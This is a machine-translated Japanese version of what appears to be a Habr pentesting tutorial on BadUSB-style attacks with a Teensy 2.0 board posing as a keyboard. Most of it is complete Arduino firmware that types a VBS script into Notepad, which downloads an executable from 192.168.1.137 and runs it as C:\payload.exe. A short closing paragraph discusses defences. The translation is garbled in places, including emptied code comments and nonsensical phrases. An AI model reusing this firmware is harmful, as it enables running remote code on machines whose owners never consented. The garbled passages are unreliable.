Arduino戦闘HIDエミュレータ

画像
近年、多くの人がリムーバブルストレージメディアに多少慎重になっています。 そして当然です。 結局のところ、フラッシュドライブのルートでautorun.infに遭遇しました。 ただし、残念ながら、メディアからの自動実行は、デバイスを接続するときの唯一の攻撃ベクトルとはほど遠いものです。 内部侵入テストを実施する場合、バイパスデバイスロックを含む、考えられるすべてのベクトルを顧客に確認し、実証することがしばしば必要です。
カットの下で、HIDキーボードをエミュレートするarduinoに似たMKデバイスの例を考えてください。その後、攻撃を受けているシステムでコードが実行されます。

攻撃ベクトルは、技術とソーシャルエンジニアリングの接合部にあります。つまり、潜在的な攻撃者は、入力デバイスになりすまし、必要なアクションを独立して実行するデバイスを物理的に接続する必要があります。 上記のすべては幻想的に見えなくなり、従業員が時々ワークステーションに接続する、未知の起源の非常に多くの有用ではないUSBデバイスについて覚えておかなければなりません。 あなたは常にカモのテストに頼るべきではありません:ここでは、フラッシュドライブのように見えるすべてがフラッシュドライブではありません。


ハードウェアプラットフォームとして、 Teensy USB開発ボード 、つまりTeensy 2.0を使用します。
画像



ソフトウェア


マイクロコントローラを使用してキーボードのキーストロークをエミュレートするというアイデア自体は新しいものではなく、私たちを支援する既製のソリューションがたくさんあります。 特に、いくつかの方法でファームウェアコードを取得できます。

ソーシャルエンジニアリングツールキット

バックトラックにプリインストールされており、ペイロードオプションのいずれかを選択できます。

出力は、コンパイルとファームウェアの準備ができたプログラムコードを含む* .pdeファイルです。

カウティリヤ

SETのモジュールと同様に、これはファームウェアコードジェネレーターですが、前述のものとは異なり、大幅に多様な負荷が含まれており、Nikhil Mittal という愛好家によって積極的に開発されています。 たとえば、バージョン0.2.1には、Windows用の20の異なるペイロードオプションとLinux用の3つのペイロードオプションが含まれています。 しかし、ほとんどの機能はPower-Shellでの操作に基づいているため、控えめに言っても、Windows XPでの使用は困難です。

自分でコードを書く

便宜上、「teensy-vector」の分野の先駆者、Adrian Crenshaw(Irongeek)という男が作成したphukdlibライブラリを使用できます。 さまざまなオペレーティングシステム用に実装されたコマンドラインを開くなど、いくつかのルーチン操作を実装しています。

いずれの方法を選択しても、最終的には、ファームウェアのコードを含むファイルが作成されます。これをコンパイルしてMKにアップロードする必要があります。 これを行うには、 Arduinoteesyduinoをダウンロードしてインストールします。これは、プラットフォームのビルドサポートを追加するarduinoのアドオンであり、多数の便利な例があります。

アーカイブから環境自体を解凍するだけで十分であり、すでに起動する準備ができています。 teensyduinoのインストール中に、USBシリアルドライバーもインストールされ、サーボからGPS受信機まで、あらゆる種類の周辺機器で動作する追加のライブラリを選択するように求められます。 今日のタスクでは、それらはどれも必要ありませんが、それらはすべて非常に好奇心が強く、コード例が付属しています。

画像

次に、ボードのタイプを実行して選択します。

画像

入力デバイスをエミュレートするため、適切なタイプのUSBを選択します。

画像

これで、ささやかなツールキットの準備が整い、プログラムの作成を開始できます。

ロックしましょう!


グローバル変数を設定する
int ledPin = 11; // ,
int complete_flag =0; //, ,


メインループの前に、セットアップ()関数が1回実行されます。 その中で、LEDで歓迎されて点滅し、同時にシステムでHIDデバイスを初期化するために数秒を与えます。

void setup() {
pinMode(ledPin, OUTPUT);
for(int i=0;i<=2;i++)
{
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
} }


まず、Win + Rホットキーを「押す」ことにより、標準のコマンド実行ダイアログを呼び出します。

void loop() {
if(!complete_flag)
{
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();


ダイアログが開くまで少し待ちましょう。 この例ではさらに、1秒の遅延が使用されます。これは、実際の状態では不当に大きく、システムの応答性に依存する値です(ノートブックが30分間開くことがあります)。

delay(1000);

メモ帳を実行します。

Keyboard.println("notepad");
delay(1000);


目の前にテキストエディタがあるので、サードパーティサーバーからアプリケーションをダウンロードして実行するVBSスクリプトを「入力」します。

Keyboard.println("Set xml=CreateObject(\"Microsoft.XMLHTTP\")");
Keyboard.println("xml.Open \"GET\",\"http://192.168.1.137/calc.\"&\"exe\",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject(\"Adodb.Stream\")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile \"C:\\payload.\"&\"exe\", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject(\"WScript.Shell\")");
Keyboard.println("WshShell.Exec (\"C:\\payload.\"&\"exe\")");


結果をドライブCのルートに保存します(Alt + F4-> Enter->ファイル名を入力-> Enter)。

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\\getpayload.vbs");


前と同じように、Win + Rで、新しく作成したスクリプトを実行します。

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
complete_flag = 1;
} }


それはすべてティーンエイジャーでいっぱいにする時間です。 これを行うには、Uploadボタンを押すだけで、コンパイルが完了すると、teensy-loaderウィンドウが表示されます。 ボードをUSB経由で接続し、ボタンを1つ押すだけです。 ファームウェアの後、マイクロコントローラーは自動的に再起動し、プログラムを開始します。

画像

アクション!




結論として、このような攻撃から保護するために、セキュリティポリシー設定を使用して、新しいデバイスをOSに追加したり、ブロックする特殊な手段を使用したりできることに注意してください。 ただし、デバイスはベンダーIDとプロダクトIDの組み合わせによってシステムによって識別されます。ベンダーIDとプロダクトIDは、攻撃者がプログラムし、システムに既に登録されているデバイスに完全に対応させることができます。 したがって、ホワイトリストによるブロックでさえ万能薬ではありません。 私の意見では、HIDエミュレータを識別してブロックするには、たとえば入力速度の変化の分析に基づいて、ヒューリスティックな方法を使用する必要があります。

Source: https://habr.com/ru/post/J141838/


All Articles